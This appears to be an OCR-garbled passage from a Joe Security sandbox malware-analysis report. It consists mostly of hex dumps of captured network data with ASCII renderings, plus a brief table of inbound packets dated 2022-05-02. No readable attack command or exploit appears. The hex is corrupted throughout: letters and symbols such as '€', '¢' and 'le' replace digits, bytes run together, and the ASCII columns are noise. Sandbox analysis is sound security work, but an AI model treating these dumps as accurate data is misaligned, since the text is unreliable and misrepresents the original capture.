48 27 99 96 a9 8a 71 a6 3e €8 69 6d 9d 2a 41 08 29 41 6d f3 08 3 3c 06 da 2f 9c €9 28 b8 b2 04 15 b8 db 9d 31 eb le
05 bf 31 7f 28 01 2f bd 8e dd 67 73 2b 10 a0 40 Ob 34 a6 bc 8¢ 75 92 16 dd 99 f9 02 d9 f4 95 bc da 38 b2 28 35 51 ba Oa
b9 70 0a e0 32 d0 75 93 77 a2 4a c4 32 ab a7 c2 86 63 77 c4 2f

Data Ascii: NJy.e_ 26DJ4s?AaQ[INY"/2yR,&hYS6E[rK=&Mp=NAz.'1{EOdyb*@T==EiRH'q>im*A)Am</(11(/gs+@4u8(5
Qp2uwJ2cw/

Data Raw: f9 e6 4a 80 43 63 3b d9 23 db 15 b1 42 a9 a8 96 f9 e7 7a 11 57 ae 00 b5 77 23 26 79 de 69 da 55 40 59 4d 5f
1b 47 19 c5 ef 1d 39 81 77 66 f3 36 a0 af c5 b7 a7 72 3b 9f e0 db 8d fc d2 bf 88 bb 54 be 2b 52 cc 16 el ee 71 1f d8 7a
27 Oe 5f 9d ed 8e 88 8b 2f fc 29 39 ce 0f 08 b2 4b 75 5a 77 a7 bc ce fb 7f 68 45 ab d3 1d 6a 41 f4 e5 10 6f be 73 0a 50 4e
19237111 b3 74 d8 ec ff 07 74 df 52 ¢5 79 0d 71 94 58 6d a9 3f ef 7b 06 22 b8 1f d1 1c b3 c3 9a 53 13 fd 68 ef 2d 5a ef
2d 8b 7f 7c 82 6f 39 14 b4 €9 51 cc 80 d2 68 fc 62 4a 99 7a 50 f5 ea 44 a4 24 ed 7a 88 2e 99 c7 84 fa 19 39 c2 d5 60 b9
6 1c 19 ce dO a4 11 18 40 c0 e2 f7 b8 2c 34 c8 08 d1 85 2b a5 17 Oc 8d 18 f6 48 30 1c 5e cO 8b ef ed 74 a8 76 b4 93 56
2416 92 0d 23 9¢c 09 b2 dd 69 c9 ac 66 09 9e 16 {3

Data Ascii: JCc;#BzWw#&yiU@YM_G9wf6r;T+Rqz'_/)9KuZwhEjAosPN#qttRygXm?{"Sh-Z-|o9QhbJzPD$z.9°@,4+HO0"tv
V$H#Hif

Data Raw: cc ff 17 b5 3d c2 c0 03 bf 75 48 6e fb 14 59 88 aa 4d ba Oe cc 4f d8 2b 92 99 4c 30 8d 38 6f Oe e8 f8 35 b8 35
1f 91 4d a2 8b 7f 6e 31 e4 d7 71 ee e4 b3 84 3b 2e df c4 4f 11 1e 58 fe 87 cb 5a de 2b 40 83 a5 e3 fd c1 2a 36 €9 1a 08
b2 1f 55 af 97 fb 61 3b e0 10 8a 02 90 94 91 78 30 3a fe fO f9 eb 89 fd 57 28 18 46 Oc 55 29 48 ed 96 c6 b9 88 16 b4 8a
6a d8 10 4c b4 ba 37 51 c1 c1 d9 a5 8a 0d 40 5b ec ed a7 e3 a0 01 36 c4 63 4a 67 48 1e e7 62 26 83 f9 b1 31 a0 3c 68
8783 9d fd 7e f8 4d a5 5a 13 ¢3 b9 73 11 b0 b8 3f 05 ef 8b 73 c4 ¢3 c2 bl 9f ba 9b 01 c4 0a 12 74 6b c6 e4 34 a0 48 a0
299d 7d 3f 30 9c d5 c9 2d e9 7 af 1b 67 85 f4 a0 a5 36 51 3d 16 ac e2 25 02 2d 41 b8 76 a2 a8 09 39 54 4e 50 52 d0 64
b6 e3 78 de 77 be 31 d4 de 7d f1 7b ef e6 e2 3b 7d 44 el
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9TNPRdxw1}{;}D

Data Raw: ac 7f 19 c4 a7 da Ob cf ab 1e ca 83 €8 2b d2 43 cc 53 72 6b 62 08 f5 ce 3d aa cb 70 90 5b 2b b1 13 9b 86 2a
d0 91 da 2b Oa 3e fe 48 19 59 4e 98 16 d6 5e 19 0f f9 23 9e 09 f3 d2 47 a6 4a 83 08 8e d5 62 55 80 3b 58 8a 81 c3 Oc 04
ledb 33 e2fe Oc 00 7b 6a e8 13 ed c7 76 el f9 8a a0 a8 ce bb a9 12 37 6¢ 35 d3 1f 4f 43 6f 6b aa 37 Ob 6 bl a3 65 98
47 49 ea 4c f4 b4 37 a9 b6 95 79 39 91 6f a6 e0 89 68 01 3d 3e 3c 79 fd 26 09 b4 3e fc 86 b7 8a 78 b5 1a 62 47 6a 83 eb
9a 57 bd b3 85 e0 e8 dd ba c¢3 05 25 19 b0 cf da 0a a0 77 28 d5 da a4 61 79 ce cf 2c 27 7b 7b ec ce e9 ed 10 b1 50 c6 71
3d 46 12 ec c2 c4 44 9c 37 8e 6d 34 04 62 03 f1 9b c4 1f ea f6 ee 39 03 96 31 50 ba ec 68 8¢ ba 8f 54 8¢ 94 09 9d el 52
66 76 1a 18 3c 39 bf 0a 41 82 91 ee 53 18 2e 16 a8 99 21

Data Ascii: +CSrkb=p[+*+>HYNGJbU;X3{jv7I50Cok7eGIL7y90oh=><y&>xbGjW%w(ay,{{Pq=FD7m4b91PhTRfv<9AS.!

Data Raw: 4d f9 46 ca 87 c7 9f fd 53 ff ae fc 5d 91 af 6b c5 8d 84 b4 f9 e4 f3 93 57 8e 9e de 56 07 69 40 43 aa 44 23 3e
36 c2 5a b4 8f 54 d6 ae 44 ba 49 d7 7d 9e 92 49 24 ae 7c 51 aa 7a 28 41 6¢ ee 21 35 c2 6a 26 1c eb 8c e2 a8 47 3d 2b 5f
0f 5e ¢8 3b 98 11 1c 15 e8 40 07 d4 90 dc 70 19 13 88 2f 85 b4 49 58 9d 69 b1 2c ef {7 fc fa 33 b9 96 d2 d2 ec 98 f9 e2

20 97 68 ec 87 6e e4 86 e4 3c 48 bf 31 f8 da 3b 59 67 1c ea c8 8b e5 3c 3 8a 74 00 40 93 Ob de 46 80 33 47 60 €0 55 d8
Ob 72 4d 08 3b 14 9b 38 83 d0 21 76 30 fb 6f c7 75 c1 9b 86 c8 dd 06 89 be 1e 35 7e 4d 43 95 86 bb b0 44 e3 6a 05 bl

d8 18 54 ec 3c 8a 58 a5 d1 4d 3b db 7c b7 ac 24 0a 01 da eb 63 e3 ca 94 14 34 50 84 99 f0 8e bf 4e cb 09 24 15 96 6b

9b 34 ec 78 cc 4c 01 5¢ 64 ec 72 27 c1 3f 94 46 6f 71 28 37
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$kaxL\dr'?Foq(7

Data Raw: c7 92 db el 38 10 ed 0a 44 a2 f2 3a 54 19 44 54 27 93 6¢ cb 74 af db d2 47 9c b6 7e 61 70 3e 5e 13 91 cf 7b
€1 36 94 6f 9a bb a7 d8 4b 53 32 de 5d 9b 87 fa 55 37 96 55 ce a7 16 df 49 bb ab 9a 1c ee bf 9f 2¢ 5 0d 85 f9 1f 26 29 {7
€9 52 98 de 3a 87 d0 5 b3 c1 38 88 4c 75 75 5d 54 9b bd 60 29 94 79 32 aa 79 b6 9d d9 40 6 83 c4 79 46 34 14 84 cO
f5 70 44 1 5f 3e 1 9d 46 68 cb fb c3 94 85 09 €3 f4 3e d1 4d 64 7b ea €6 49 b5 7c cd 56 1e 7b 3c 44 09 b4 31 87 91 d5
59 23 2d da b1 84 e7 88 ee 1e 3e 8f e4 36 75 d2 c0 2a 1f 7b e8 2b 10 28 28 21 Oe dd a2 2e c9 83 96 0d 8c 18 Oe e2 7 88
0b 34 4 0f 60 7c 97 5a ee 4e 53 18 7a 12 41 3a a8 45 81 42 44 43 d3 Ob 69 a0 13 bd 68 f6 14 18 ce 8b 45 cc 20 9b 2
51 37 29 b1 38 f2 ac 22 73 4d 99 12 05 45 51 ed cb 19 33 3a

Data Ascii: 8D:TDT'ItG~ap>{60KS2]U7UI,&)R:8LuUu]T")y2y@yF4pD_>Fh>Md{I|[V{<D1Y#->6u*{+((1.4'|ZNSzA:EBDCIihE
Q7)8'SMEQ3:

Data Raw: 3c 31 79 c5 5e f3 ec 25 33 1f d6 66 80 3c 76 fO 2d 23 c4 fb 65 c2 de 8b bd 2d 99 eb af 2f 7c be 14 65 c2 72 a0
6 01 6b 7b f6 82 65 ab b3 46 3b 89 b7 9c a6 57 ee f1 2c b4 42 03 de 5a 33 12 80 08 9d 71 ee aa 03 be cf 50 c2 3f 8e 23
fb Oc 4e 24 5e e9 1e 16 e8 d4 1a d3 63 da 73 29 32 7f 65 07 f1 64 f4 25 f4 31 69 f7 d6 a0 7b 2b el 93 29 28 21 d6 de 90
dd 29 53 40 f2 50 bb 74 5d f3 ba a6 36 07 Oc 8b 25 8a 36 ce fa 69 €5 b7 67 c6 c8 b9 65 4a df 07 76 22 83 ec d4 cf 2c 6d
€9 1c 72 6b ab 3e 2a 95 Oc f8 bf b5 03 al b4 bb 45 93 79 c6 a6 44 b3 99 98 68 ad 70 bb 16 f4 13 d4 50 ef a7 4e 5b 3f eb
89 8c c3 0e 38 02 84 a9 al 44 67 7c 43 3a f5 ca 3d a4 85 Ob 62 19 3 85 dc 30 b3 9c Oe 4f 4e 9f e4 89 c4 50 23 e0 a8 fe
cl 1d 8584 19 8b 83 b6 78 8e d5 1f 21 f2 57 22 2a fd

Data Ascii: <1y"%3f<v-#e-/|erk{eF;W,BZ3gP?#N$"cs)2ed%1i{+)(!)S@Pt]6%6igelv",mrk>*EyDhpPN[?8Dg|C:=b00
NP#xIW"*

Data Raw: fc a2 b5 3b 69 b3 75 93 a6 41 23 4e de 97 84 a6 5a 2f 8a db 9e 33 15 48 24 96 2a 32 a3 e7 ab d6 c2 92 13 46
2e 4c b8 26 1f 5e €5 31 28 c6 8e 47 47 ¢8 9a 8a b6 35 68 9 2d 9e bb d9 d0 96 d3 31 fe c2 46 08 59 df 10 9f 6a 89 c9 70
ac O0a 6d al c1 cl1 a9 a6 08 ae bf be a2 fb 65 20 df 10 3d 34 7a d4 ad b3 10 3b 43 cc e7 0d 9e b4 e8 6b b8 a6 a0 ee cb 78
7e 89 25 d9 85 a5 5a bc eb 4c c1 29 5a d4 54 97 99 43 4b f0 d5 0a 59 7e 21 1d 53 10 26 87 c4 e4 68 9e ba 68 0d af ff 12
5418 85 31 9a 73 80 b3 7e f4 4d 2f c9 5e 3b 86 47 ee be 3b 3e a6 3e 7e 85 7a 1a 1d f5 le 9f ea d2 54 36 df 9c 31 a7 bf
2c 6d 8f 41 80 4f f4 12 10 b3 0 f8 fd 11 bf Of e2 78 06 Oe 14 8d 19 31 2d 57 a9 3f b2 f9 51 89 bc Ob f8 f1 ¢3 ed 6e 10 99
1b 8a 13 5a 50 d9 04 93 4a 6b 87 80 68 1d 43 44 d6 d8

Data Ascii: ;iluA#NZ/3H$*2F.L&*1(GG5h-1FYjpme =4z;Ckx~%ZL)ZTCKY~!IS&hhT1s~M/";G;>>~zT61,mAOX1-W?QnZPJk
hCD

Data Raw: 06 2 fa 4b 12 d2 ce 26 ce 3e Oe 68 1f 3 0f f8 dc 29 90 3c dc 60 ac be ea 7d eb 47 29 82 9c 89 72 e9 ab 48 9d
18 bl cc 12 ee 45 92 03 54 f1 98 8d 7f 30 d3 6e a8 8b 50 84 4e db fd 05 61 92 bf 97 0f f2 al 7d ce 3f 7c fa 44 73 8¢ 43 2b
9a a3 7f a4 O cf 64 31 6d de bc 97 b9 43 9a d0 95 41 2a c5 eb 4d 26 d5 f9 be 05 28 b1 67 f1 37 d6 1a 26 d4 b6 39 3e 64
ab 3b 91 7f a2 d4 d1 72 Oc 18 9f 32 c9 58 8¢ 19 Oe 6e a5 7e b4 ea 66 6¢ ff ff c6 8b 3 60 59 78 00 67 4c df 62 a2 11 54 36
84 16 c8 17 2f 94 6e 48 2e 61 06 e3 bc 46 e3 f6 b5 5e e4 5f fa 0a 23 6a b4 29 24 d8 55 f3 ff 11 c6 05 d4 5 {7 bb d2 d7 64
3c af 14 02 €9 59 70 ce 05 e9 a4 29 3c f2 39 59 44 c0 9d 70 ce d9 7c 6¢ 4b c8 7b 75 9¢ 7f 60 ac 39 40 89 54 cd 6d 50 a4
df 67 da 2c 13 12 df b7 1f d1 e7 71 9c fd a8

Data Ascii: K&>h)<"}G)rHETOnPNa}?|DsC+d1mCA*M&(g7&9>d;r2Xn~fl"YxgLbT6/nH.aF"_#j)$Ud<Yp)<9YDp|IK{u'9@
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Data

Data Raw: a3 e8 fO 6f b0 36 83 c4 13 ba a0 32 bd al el c1 ec d9 b8 b2 Oe e3 9e le 54 b7 61 51 fc fe f1 06 33 1c 71 9f 33
fe ee f6 cf dc 92 2c 1b 12 8d ee 31 25 99 82 cf c3 e0 d5 02 99 34 4d b0 21 f9 83 83 dO 70 26 44 ea 5e 4b c5 c0 35 34 61
7 1e df 02 34 1d dc 7c f5 71 b3 11 93 al el db d3 fc 01 54 Oc 94 eb 66 02 c7 4b 8f 6e af al 92 77 33 de 8a 77 ec 55 28 fc
c0e5a9 lae2 el 7e 4e 42 74 af 1f dd c4 8d 6a e6 d4 b3 87 d2 ee 5e 9d f2 73 6e 95 14 85 5b 2f 3f 91 33 fa bd 80 18 2d
18 1f a2 8c 46 62 b0 7c b2 af 4d e4 36 93 eb 60 52 06 7a 1e ba 13 f9 55 ee 1f 06 a5 9f cO le ce 51 27 ¢8 7b 76 20 32 fd
d9 1f Oe 99 04 2f d2 41 ac fb dd 92 5d €3 d0 a6 b8 Oa 1c 56 f5 41 80 08 1a e2 a2 23 29 a7 09 ab e3 75 9e 8c 53 1a 4f 8f
2e 5c 9b 90 ed 86 71 b2 39 48 ab 55 fb 35 9d 39 27

Data Ascii: 062TaQ3q3,1%4M!p&D"K54a4|qTfKnw3wU(~NBtj*sn[/?3-Fb|M6 RzUQ'{v 2/A]VA#)uSO.\q9HU59'

Data Raw: 6e c4 06 24 0d c7 3b 25 66 d4 3e dc 35 ad a7 46 07 16 e6 72 7a 36 36 el Oe e4 81 2c ca cc 65 83 d8 a2 9e 9d
4e be 3f acd9 da 17 8a 0d 52 1d a7 92 b3 72 23 52 68 fa 7d 9e 38 6e 38 37 1f 8a cb 61 89 1d 86 91 ef Ob b6 db c2 82 6a

2b ef 49 13 82 da 67 1c ea c4 98 c3 8e Oe b8 7e 9f ff Oe af Ob c7 91 85 3c e0 b8 07 fb e2 57 fb 33 13 a9 Oa ea 7e Ic ef e6

a7 5f 28 f1 40 8d 71 ee 32 7c 73 ab bb c4 ba 0f 27 95 23 10 f8 Ob a7 b6 4e 9f 6e 8f ed 10 7b 7d 99 90 f5 96 91 4b ac 9f 4c
ed fd e3 5e ¢3 8f 17 1e b1 25 2b fa 63 1f 0d 54 df 59 0d 31 f3 af 68 32 fc c1 93 b4 fb be 4f e2 95 46 6 55 1c e5 d3 8f f3 db
6c c5 7f 79 fa 34 b5 ac 9d 01 5b 4c d2 6b 94 1c 71 17 33 3c dO cO 7f 6e 5e 6a ca e2 b7 77 90 b2 39 bc 9a 50 9b 33 ed 57

e7 73 20 e5 b1 8e b0 c7 94 35 41 0f 86 88 42

Data Ascii: n$;%f>5Frz66,eN?R#Rh}8n87aj+lg~<W3~_(@q2|s#Nn{}KL"%+cTY1h20FUly4[Lkq3<n"jw9P3Ws 5AB

Data Raw: 03 54 c1 61 fc c7 fa cO ff e8 al 31 2f 93 20 af ac 7b bd 91 15 20 94 8f 5d ae 9a 3e b0 13 6e a7 d2 4c 76 d5 b5
b9 7c 9f 10 f2 2c 91 2e 79 aa 8c {7 21 b5 a4 df 4e d1 65 12 8c cc 70 4b 55 7c¢ 81 40 45 b7 79 6b 9b 53 75 ed 9f eb f8 95
41 7c c6 41 4a 58 af 94 9d af a8 5b b6 7c 7a f7 54 24 1c ae 28 ac 38 0d 30 2e 7d a8 43 af bb b7 2b 7a 10 d8 b8 a8 bf c8
60 8b 2c 24 7b 9f 8d 07 de bc a0 dc ed b6 34 99 ea 53 4d c5 87 al 86 cf 2a 5a dd 13 e5 1b bf 14 ec 29 e7 4c c0 4c ae 75
49 97 32 3550 2b 61 1b a2 cd 83 b3 4a 5a f1 df d3 84 8d fa dd e4 2b 55 77 b5 3c 9c 6¢ 03 7e 62 1e 44 4b 28 5f 22 al 09
10 dd 83 07 57 dc ef 24 b8 53 73 cf 38 f3 9e 00 9b 40 a3 7b fa 77 3f 27 fa 47 9f 9e b5 c6 €8 29 72 9a 60 bf 4f d1 de 63 d3
b9 44 27 88 53 2b 43 ef d3 df e2 3e 25 3e c2 6e 86

Data Ascii: Tal/ { ]>nLv|,.y!INepKU|@EykSuA|AJIX[|zT$(80.}C+z",${4SM*Z)LLul25P+aJZ+Uw<I~bDK(_"W$Ss8@{w
?'G)r'OcD'S+C>%>n

Data Raw: 5e a9 4f 83 a2 7c dc c4 19 2e 2a 3a ec 8b 5b 60 95 30 b7 c¢7 6¢ 00 36 8c f3 3f ¢5 6f 9c 90 ¢7 2d 71 71 86 8c bc
9d ae 92 2f 75 33 f2 57 20 cc 92 cc 1f ff 39 e5 67 b8 18 a5 92 5a f1 48 f0 6f bf 49 47 82 01 8d 86 39 dc 0d 5¢ 62 Ob b3 48
9a 7c 2e 13 f7 4e cc 44 22 ee 8a ae 5d ea 03 0d 09 fd 3b 80 5b 5c 8e 8b 4f 83 e6 23 99 df ad 14 f0 53 90 1a 44 11 4e Oc
fe af 48 ea 98 4b 64 53 38 f6 63 10 37 7f de 2e 73 58 4e f2 f3 1e 16 b4 a2 99 a6 8a d9 17 ab 19 a3 f2 89 87 a2 8¢ 9b a9
5e b3 2e 4d ba 49 9e 67 4e 31 32 ca c5 32 4d ce cb af 52 d0 9e 1c 7f a9 5f e4 Ob 49 26 bc 3c 09 el 70 db b6 54 da 37 1c
al d5 10 c1 f3 82 02 6e 9e 6¢ da d7 53 €6 f8 b0 f4 4f dd bb df 80 b6 3a €2 72 68 7e 9b 03 {7 d1 db 30 c0 01 d5 8d 7d 3f 40
3 1f 3d fc d2 b7 c5 8f ff b2 9e a4 6a f4 ac 1b
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Data Raw: 67 f2 2e e3 1d 8e 3b 78 5¢ cd 89 10 63 da f7 93 17 43 9c d3 37 e8 dd 25 d7 7f 69 b9 Ob 48 4c fe 75 Ob 2c 42
20c1d8c7 41 2e e3 ef f012 e7 37 40 73 8a 08 31 19 a3 d1 86 77 29 al 9f a9 3d bf b5 6¢ 2f 99 fa 63 9a 71 3f 5a d7 bf 90
66 dc 16 6¢ 91 4a cb b6 42 f6 95 cf c5 3b 6f 6f 07 91 93 86 22 ca 9c 25 33 0d 3c 26 el f1 9a 69 03 86 28 67 4b 0d ee b8
7e 7c f308 00 d2 43 bf e3 ad 71 31 79 89 98 64 47 f0 el fb 9b 73 8b c¢7 d9 53 08 5 18 2d bb 28 48 2a 56 01 c0 7c 6f 1f ce
8e 05 20 ce e0 36 03 82 35 91 96 04 45 28 46 67 a6 f5 4a 16 cc 15 f3 e0 90 b1 fb d7 2e 5a af 50 c9 da fO fO c2 9e 96 a3
a0 c8 b6 46 8b 04 49 60 34 7c 23 da 13 10 1b 27 3e d1 d7 c0 53 5 d9 09 9d 69 c3 dd 80 3c ¢3 3f 27 c8 3f 0a 2a 7c 60 48
3c 25 2a 32 a6 9b 87 f0 cd 50 60 66 71 36 96 f8 bf
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*'H<%*2P fq6

Data Raw: f9 59 c1 c9 a4 d1 b3 56 2d ca Oe 77 a2 6a 03 e8 98 e0 b3 e0 23 5d 00 8f 46 8b aa 8b 61 df ee 09 40 8c 00 Oc
98 47 26 a3 19 22 63 24 5d 29 Oe 46 42 4c 9d cb a3 1a 29 0b 64 da 5¢c e6 08 88 9f 41 dd 20 29 6e a9 6a 26 1d 0f 2a 33
0055 7b e0 83 €9 c2 01 7f f2 55 e4 a6 c0 49 81 f2 74 84 48 78 27 22 6e 11 57 06 38 9f f3 93 c4 24 e7 eb c6 6a 74 2d a4
7c Oc 84 88 40 7e 52 da dd 63 d8 5d 3f 6f 19 f5 4b b9 88 33 aa cf 99 3f 8c 34 5d e4 48 74 57 ac 07 73 c3 3e d8 13 48 29
3b ae 2d 63 bl 4e 58 e5 3c 88 7e 69 f1 Of 14 eb 65 a7 97 1d a0 66 d8 ch d2 e8 07 df 7d 9b 8f fe 66 c5 56 1b 85 52 e4 7f
8f ba 53 d1 33 fd 3d 6c c3 87 dc ba 21 0f Oe 90 ba e2 67 61 ab 59 fd e5 1b 87 b4 13 a5 4d 6b 69 43 8a 8b eb 6a 24 5f 3a
65 21 c7 4b 9557 11 cf lacd c1 a4 00 36 73 df ee 42 12 77

Data Ascii: YV-wj#]Fa@G&"c$])FBL)d\A )nj&*3U{UItHX"'nW8$jt-| @~Rc]?0K3?4]HtWs>H);-cNX<~ief{fVRS3=llga
YMKICj$_:e!lKW6sBw

Data Raw: df 1d 25 69 95 aa e8 d5 f8 7c 8c 21 9c 6e 2c 65 dc 15 8d ec 23 35 70 c3 8e a8 62 f0 2d 89 f6 ea 08 90 09 {7 c3
b6 45 dc 22 26 f6 86 47 c2 d1 8¢ 69 56 a5 f4 2d 07 b8 1a 8¢ bb 2f 94 fd 31 dd 84 Oc Of ea 5d 1e b6 63 19 70 4f 6e fe 61 20
2283 ¢5fb 79 96 38 4d f6 28 57 a3 61 47 c3 b4 ab b2 aa 08 d1 1c 68 95 8d 6a a0 2c 92 44 da 41 90 3e 23 da 31 86 e7
5e be 5c¢ 3f c0 ea 10 6d 3e 3e ba le 6e e2 fd 07 66 88 70 73 5e 56 03 76 08 57 76 10 b1 db 06 44 2f aa a4 al 30 cc 3a e8
ea 18 fa 43 43 94 32 a7 4c 94 42 ff 63 e6 dc a6 91 e7 1le e0 92 bb db 66 f8 6e 70 e3 ae 63 af 2d e0 ab af 80 5f df c3 57 f6
ae f0 79 8c df 6¢ 49 ec 68 ef 08 41 6e 35 1a f1 42 a5 ce 63 0d 67 ba 03 4b 3e ab 74 58 bd 8f 96 aa fc 52 6a 9c aa 8a de
7c 87 da dc f2 dO 1f Oa f9 73 da 92 66 89 14 e0 f9

Data Ascii: %i|!n,e#5pb-E"&GiV-/1]cpOna "y8M(WaGhj,DA>#1M\?m>>nfps"VvWvD/0:CC2LBcfnpc-_WyllhAn5BcgK>
tXRj|sf

Data Raw: 15 64 6a 2e 02 54 2c ac 34 59 90 92 47 ¢5 95 92 ff c6 55 4f 45 93 ab fa 94 1a e8 b6 7f ce 61 ac 98 ca 5a 12 1f
d5 7f db 28 81 29 21 97 ea a2 5b 63 47 3e 3 19 6¢ 4d af c2 €9 17 9a 3b d7 6b 43 €3 93 49 5d el 81 97 c3 66 c8 d3 b9 c7
76 ef 9a 29 ¢6 58 06 fe ac 42 66 76 3c 28 38 36 6¢ 36 be 42 4c 32 ea 7d 81 15 ed 7d 49 a5 6d 9d f9 dO 43 2b 6¢ c7 86 3d
f0 Oc 4c 8b 08 3d 93 33 89 01 3d 83 5b f3 €5 ae 4e 55 d3 75 dc 4e 6a ef 1d 4b 7a Ob 3d 62 2b 57 61 25 3a b2 af 3e 57 60
05 00 0b b1 6f d3 a3 81 b4 85 c6 c2 16 8d 75 3d ff ¢5 f9 el b5 10 8a 0a 2f 77 3b fb 02 69 16 73 €8 48 cb 54 a4 b8 €3 0 aa
02 27 87 5f 5a 08 08 54 3e 34 8¢ c0 34 d0 20 26 62 0a aa ce 32 de 28 68 7e 67 8b 3f 1a d8 75 ba 74 2b 94 le 56 d8 46

2e 83 b6 ef 29 d9 9e 5f 72 e8 3 a2 af f9 16 cf 18 8

Data Ascii: dj.T,4YGUOEaZ()![cG>IM:kCI]fv)XBfv<(8616BL2}MC+=L=3=[NUUNjKz=b+Wa%:>W ou=/w;isHT'_ZT>44
&b2(h~g2ut+VF.)_r

Data Raw: ab 04 d9 7c 5f 56 13 de 20 7a 09 d4 cb 60 9b 7e e2 4d a0 ff ed 4e 10 1c 23 Ob 6d fc f0 44 Oa d7 c7 7e e2 4b
4c ae 4f 3c a9 05 52 fb 42 79 7f 74 €9 3¢ 0d 20 11 4a 8e 98 b4 49 a7 49 50 73 31 cb ff c4 €9 66 eb 73 8b 43 b7 58 d3 c8
40 29 19 6f d2 f6 b1 cc 8f 3d 56 f2 76 d7 fe fe 65 e6 €6 71 1f 3d d6 43 1f cd bd 38 71 74 94 19 c4 16 ef b4 69 40 Ob 2e 69
4322 7a9e 8a 7c cl f6 42 bb ef 15 f6 aa 57 al b7 13 f1 01 b5 07 09 55 8a 7e 28 7d 4b d7 ec 75 6e e2 02 44 Ob 77 fe 6a
b3 13 4d 7f 2c Oa 1c 6a 57 76 €9 2c f0 8d 50 68 6d 65 a7 b1 63 8e bd el 7d 2f ce a4 a7 d5 c2 7c e5 1c 25 82 15 09 b6 c9
81 52 9f da da ba dc al 8a d1 3e Oe 9b f1 c2 93 be b6 01 71 57 04 9f 89 12 77 3e 77 3c d2 fb cc 7d 15 4b 05 13 ae a3 54
27 19 fb be fd 5a 44 25 3a 89 6f a6 8e 1a 81 5a 3a 2c

Data Ascii: |_V z’'~MN#mD~KLO<RByt< JIIPs1fsCX@)o0=Vveq=C8qti@.iC"z|BWU~(}KunDwjM,jWv,Phmec}/|%R>gWw>w
<}KT'ZD%:0Z:,
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kBytes

Timestamp T Direction
2022-05-02 11:02:01 UTC 303 IN
2022-05-02 11:02:01 UTC 319 IN
2022-05-02 11:02:01 UTC 335 IN
2022-05-02 11:02:01 UTC 351 IN
2022-05-02 11:02:01 UTC 367 IN
2022-05-02 11:02:01 UTC 383 IN
2022-05-02 11:02:01 UTC 399 IN
2022-05-02 11:02:01 UTC 415 IN
2022-05-02 11:02:01 UTC 431 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 00 9d 06 eb 1le 7b ee 79 5d 3e ca 97 4d 19 17 1e 5f a9 6a 36 2a 1d c7 a2 07 c0 4a b6 7a 44 4a c8 cd d6 84 dO
7c 6f ce 9f e4 a4 5¢ 9d ca b2 ea 20 23 7f 53 2e 94 34 1e fb b2 48 b3 3b 92 67 ed df 2f 83 1d b4 9f cb 4d bc d4 61 2f dd aa
12 c7 b8 bb 95 e5 2b e0 18 b8 46 1f 40 Oc Ob 43 d4 46 4a 32 al 99 cd 84 91 6d 97 f8 b6 8d 01 55 6f 67 04 57 99 ad 64 7d
c0 96 b8 d7 1d cf bb d1 33 4c 1d 9c 53 17 f3 e9 fc 52 75 ed 9f d6 4b 18 dd e0 ae 27 3a 08 17 28 1d fc 7b f3 84 f8 8a 87 4c
€7 70 02 63 5¢c 52 08 41 62 87 f2 01 93 c3 fd 23 f6 Ob 2f b8 4d 17 2a 1b 6a ee c8 7a ec cc c8 8a e6 79 04 ff 96 1c 00 02
69 3fdc dc e7 e5 f6 7c 64 c1 d2 e4 a3 be 43 2c 39 62 df 19 ea fe 03 27 a4 29 1f 51 5a b0 b1 8e 48 84 13 3b e2 fb 73 de
14 e3 38 35 ca 2b d9 d3 23 7f 59 1e 98 1b dc a4 29

Data Ascii: {y]>M_j6*JzDJ|o\ #S.4H;g/Ma/+F@CFJ2mUogWd}3LSRuK':({Lpc\ZAb#/M*jzyi?|dC,9b")QZH;s85+#Y)

Data Raw: 12 08 1c 70 85 12 05 00 10 d8 83 11 bd 80 12 08 1c 70 85 12 04 20 0d 90 91 12 06 04 8c 91 12 02 02 07 1c
01 05 00 0a 02 02 07 1c 01 04 20 07 8¢c 91 12 06 04 88 91 12 07 1c 02 03 00 08 88 91 12 06 04 84 91 12 1c ec 84 12 02
0009 1c ec 84 12 01 20 06 84 91 12 06 04 80 91 12 b9 80 12 bc 85 12 1c b9 80 12 04 00 0f b9 80 12 bc 85 12 1c b9 80 1
203200c 809112 06 04 7c 91 12 1c bc 85 12 02 00 09 7c 91 12 06 04 78 91 12 b9 80 12 bc 85 12 02 03 00 Oc b9 80 12
bc 85 12 02 02 20 09 78 91 12 06 04 74 91 12 1c 01 02 00 07 74 91 12 06 04 70 91 12 1c 5¢ 85 11 02 00 09 70 91 12 06
04 6¢ 91 12 1c 1c 08 03 00 08 6¢ 91 12 06 04 68 91 12 Oe 1c 08 03 00 08 Oe 1c 08 02 20 05 68 91 12 06 04 64 91 12 1c
64 85 12 1c 08 04 00 Ob 1c 64 85 12 1c 08 03 20 08 64 91 12 06 04 60 91

Data Ascii: pp  ||x xttp\pllh hddd d*

Data Raw: Oe Ob 09 09 Ob Ob 09 09 09 09 09 09 09 08 08 91 80 12 fd 83 12 bd 80 12 1d 08 49 81 12 1d b9 80 12 02 08
08 49 83 12 08 08 08 08 09 08 09 08 08 09 08 08 24 86 12 08 09 09 09 05 1d 08 08 05 1d 08 08 02 71 81 12 15 02 1c 49
8312 1d bd 80 12 32 07 51 d9 80 11 01 01 00 06 Od 82 11 09 82 11 05 82 11 Oe 01 04 20 0d 05 1d 08 61 84 12 08 05 1d
09 08 08 08 08 Oe 05 1d 05 1d Oa 05 1d 08 09 31 82 12 08 Oe 08 09 08 08 08 08 Oa 01 82 12 09 02 Oa 35 82 12 09 08 05
1d 65 81 12 0a 09 08 05 1d Oa 08 2a 07 3d 09 09 09 08 04 07 06 61 84 12 0a 08 09 09 04 00 09 08 05 1d 08 08 05 1d 08
05 20 0a 08 08 05 1d 31 82 12 01 04 00 Oa 05 1d 09 65 81 12 31 82 12 01 04 00 Oc Oe Oe 59 84 12 02 00 07 45 82 12 01
07 05 45 82 12 00 00 05 Ob 09 09 Ob Ob 09 09 09 09 09 09 09 09 08 09 08 08

Data Ascii: [1$912Q al5e*=a 1elYEE

Data Raw: 68 83 11 10 18 10 40 11 04 20 11 1c 81 82 12 5¢ 83 11 10 68 83 11 10 34 81 11 18 10 7d 82 12 06 20 16 5¢
83111068 83 11 10 34 81 11 18 10 40 11 04 20 11 18 40 11 01 20 05 08 18 02 02 20 05 7d 82 12 60 83 11 10 18 02 20
0alc 818212608311 10 18 09 18 7d 82 12 06 20 10 60 83 11 10 18 09 18 18 04 20 0a 7d 82 12 09 10 Ob 10 18 10 40
1104 20 0d 1c 81 82 12 09 09 09 09 10 0b 10 19 19 18 10 18 18 7d 82 12 Oc 20 16 09 09 09 09 10 Ob 10 19 19 18 10 18
